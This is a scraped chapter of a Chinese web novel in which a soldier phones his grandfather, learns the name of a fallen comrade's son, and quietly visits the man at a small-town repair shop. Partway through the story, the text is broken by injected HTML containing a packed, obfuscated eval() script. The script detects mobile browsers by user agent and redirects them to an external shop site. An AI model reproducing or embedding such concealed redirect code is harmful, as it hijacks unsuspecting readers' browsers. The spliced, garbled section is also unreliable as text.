许昌和休假结束回部队之后,训练、吃饭、睡觉,每天按部就班地过,成绩稳定在连队上游,射击考核打了几次都在九十分以上。
班长不再盯着他打靶了,放心让他自己压弹自己调枪。
张皓铠笑着说:“昌和你这是脱胎换骨之后彻底成精了。”
许昌和听了笑一下:“成精?”
“不,成‘神’!”
“有时间调侃我,还不如多练会。”
一月底,连里组织春节前最后一次家属座谈会,允许战士给家里写封信或者打个电话报平安。
许昌和排在队尾等着公用电话,前面几个人对着电话那头说笑,轮到他进去的时候他把门带上,拨了家里的号码。
接电话的是孟采筠:“和和,怎么这个点打电话?”
“部队让报平安,我就打一个,过年回不去了,排里有任务。”
梦采筠那边沉默了一下:“那你注意身体,过年我们在家做年货,你有想吃的吗?”
“我要吃年糕、枣糕、腊肉……”
“行,都给你留着,等你休假回来吃。”
许昌和握着电话听筒,听见那头厨房里锅铲碰铁锅的声音隐约传过来,还有电视机里春节联欢晚会的彩排声,热热闹闹的。
“妈,爷爷在不在?”
“在呢,在客厅看电视,你等下,我喊他。”
孟采筠说完“爸,昌和电话”,然后是脚步声由远及近,电话被接过去了。
爷爷的声音从话筒里传出来,还是那种稳稳当当的调子:“喂?”
“爷,我过年回不去了。”
“知道了。”
“你在家注意身体,降压药按时吃。”
“嗯。”
许昌和握着听筒沉默了半秒,又问:“爷爷,去年你说的那个战友……姓许的那个,他家里人后来怎么样了?”
爷爷的声音再传过来的时候比刚才低了一点:“他媳妇后来带着孩子回娘家了,隔壁县的,姓李,日子应该还行。”
“你知道他们家在哪吗?”
“那都多少年前的事了,你问这个做什么?”
“就是问问,好奇嘛。”
电话那边又安静了一会儿,爷爷似乎想了一下:“好像是宝坪镇那一片,具体哪村我不清楚,那时候通讯不方便,后来也慢慢没联系了,只听说他娘家人对她们还不赖,孩子也养大了。”
“叫什么名字你知道吗?”
“什么名字?”
“那个孩子。”
爷爷在电话那端沉默了很久。
久到许昌和以为他忘了,正要开口说算了的时候,爷爷的声音忽然又响起来:“他媳妇当年给我来过一封信,信里说孩子叫许安宁,她给孩子取的,说是……希望他这辈子平平安安,别再过那种日子了。”
许昌和握着电话听筒的手紧了紧,他把听筒换到另一只耳朵上,又换回来:“许安宁?”
“嗯。”爷爷的声音更低了,“可能后来改了姓,不姓许了,姓李还是姓什么我也不确定。”
他们隔着电话线沉默了几秒钟,爷爷那边先开口了:“你在部队好好的,那些老事不提了。”
“好。”
“挂了。”
“爷爷,过年好。”
爷爷那边顿了一下,然后说:“过年好。”
电话挂断了,嘟嘟的忙音从听筒里传出来,许昌和握着电话坐了好一会儿才放回去。
出了电话间他站在走廊里,冬天的冷风吹得他打哆嗦。
宝坪镇,许安宁,或者姓李。
一个四十多岁的男人,可能改了姓,在隔壁县某个镇子上过着普通日子。
他想起那间土坯房里纳鞋底的女人。
“孩子动了,八成是个小子。”
“回来我给你剪头发。”
……
那个女人后来回娘家了,给孩子取名叫安宁,把后半辈子过下去了。
那天晚上他躺在下铺看着上铺的床板,脑子里一直在转同一个念头。
他要亲眼看看那个孩子。
过完春节又过了一个多月,春天来了,山上的雪开始化了,操场的草从枯黄底下冒出来一层绿芽。
许昌和找班长打听了一下宝坪镇的位置。
班长说:“那地方离营区不算远,坐车两个小时就到,你去哪做什么?”
“见见老友。”他又问,“连里能不能批一天假。”
班长看了他一眼,没再多问,便批了假条。
许昌和把假条折好揣进兜里,第二天一早穿了便装出了营门,倒了两趟车,终于到了宝坪镇。
许昌和站在街口看了看,不知道从哪儿找起,他沿着街慢慢走,路过一家修车铺的时候停了停,铺子里面光线暗,一个穿灰色夹克的中年男人正蹲在一辆三轮车旁边拧螺丝。
许昌和站在铺子外面看着他,那人皮肤黑红,长得憨厚,普通得不能再普通的一张脸。
他拧完一个螺丝站起来直了直腰,从裤兜里摸出一盒烟磕了一根出来叼上,划火柴的时候目光往街面扫了一眼,正好看见许昌和站在门口。
那人手里的火柴顿了一下,看了他两秒:“修车?”
可许昌和在那张脸上看见了别的,那双眼的形状跟土坯房门槛上纳鞋底的女人一模一样,弯弯的弧度,两边眼角微微往下垂。
“不修车,路过,歇歇脚。”
那人把火柴划燃点着了烟,吸了一口吐出来,摆了摆夹烟的那只手:“那你随便坐,门口有凳子。”
许昌和在门口那条长凳上坐了下来,铺子里传来叮叮当当的工具碰撞声,偶尔有收音机断断续续的声音,放的是地方戏曲,咿咿呀呀的。
他坐在那儿看着街对面,一棵老梧桐正在发芽,枝条上冒出一簇一簇嫩绿的新叶。
春天的风暖融融的,裹着泥土和青草的味道从街面上吹过去。
那人修完了三轮车走出来,在门口的水龙头下面冲了冲手,他甩了甩手擦在裤子上,看了一眼许昌和:“你不是本地人吧?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932605|213647||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“不是,河城的。”
“河城,那挺远的。”那人从兜里摸出烟盒朝许昌和递了一下,“来一根?”
“不会,谢谢。”
那人自己又点了一根,蹲在门口的台阶上抽着,阳光照在他背上,灰夹克的肩胛骨位置有一块颜色浅了一点的印子,像经常被太阳晒褪了色。
他抽了两口烟,侧过头随口问了一句:“来镇上办事?”
“找人。”
“找谁?这镇上我熟,或许可以帮帮你。”
许昌和看着蹲在台阶上的那个人,他的背影微微弓着,后脑勺的头发里夹了几根白的。
他蹲在那儿抽烟的样子跟任何一个小镇修车的中年男人没有区别。
许昌和想了一下说:“找一个可能姓李的,以前姓许。”
那人抽烟的手顿了一下,过了一会儿他说:“姓许的?镇上姓许的不多。”
“我也只是打听。”
那人把烟灰弹了,又吸了一口,慢悠悠地吐出来,他没回头,背对着许昌和说:“你找那个人做什么?”
许昌和看着他的背影,说:“不做什么,就是想看看他过得好不好。”
那人沉默了一会儿,他站起来把烟掐灭在门口的石头缝里,转过身来看了许昌和一眼。
这一次他的目光在许昌和脸上多停了一会,像是想从那张年轻的脸上读出点什么,但他什么都没说。
他转回身走进铺子里,弯下腰继续修那辆三轮车,扳手和螺丝碰撞的声音叮叮当当地响起来。
许昌和从长凳上站起来,朝铺子里说了一句:“师傅,我走了。”
那人头也没抬:“嗯,慢走。”
许昌和转身沿着主街往回走,走出十几步,听见铺子里传来收音机换了台,戏曲停了,换成新闻,播音员字正腔圆地说着明天的天气预报。
他继续走,走到镇口等车的时候他回头望了一眼那条主街,修车铺的铁皮顶棚在午后的阳光里反着光,门口摞着的旧轮胎歪歪斜斜地靠着墙。
铺子里叮叮当当的声音还在响,隔了一条街传过来已经变得很小很远了。
他转回身,车刚好来了,他上了车,靠窗坐下来,他从玻璃窗里看见自己的脸,不白也不亮了,晒成浅浅的麦色,嘴唇有了血色。
他看了一会,把视线移开了,窗外田野一片一片往后退,麦苗已经绿了,铺天盖地的绿从车窗边上扫过去。
春风把他额前的头发往后吹,他靠着椅背闭了一下眼。
宝坪镇慢慢远了。
但那个人蹲在台阶上抽烟的背影一直留在他脑子里。
老许当初扑出去大概想不到几十年后自己的儿子会在一个春天中午蹲在铺子门口抽烟,跟任何一个修车的师傅一样,过着安宁的日子。
许昌和睁开眼看着窗外,田野尽头是连绵的山影子,蓝灰色的,一层叠着一层铺到天边。
他呼出一口气,那口气在春风里散得干干净净的,关小车窗,靠着椅背看着那些远山,一直看到车到站。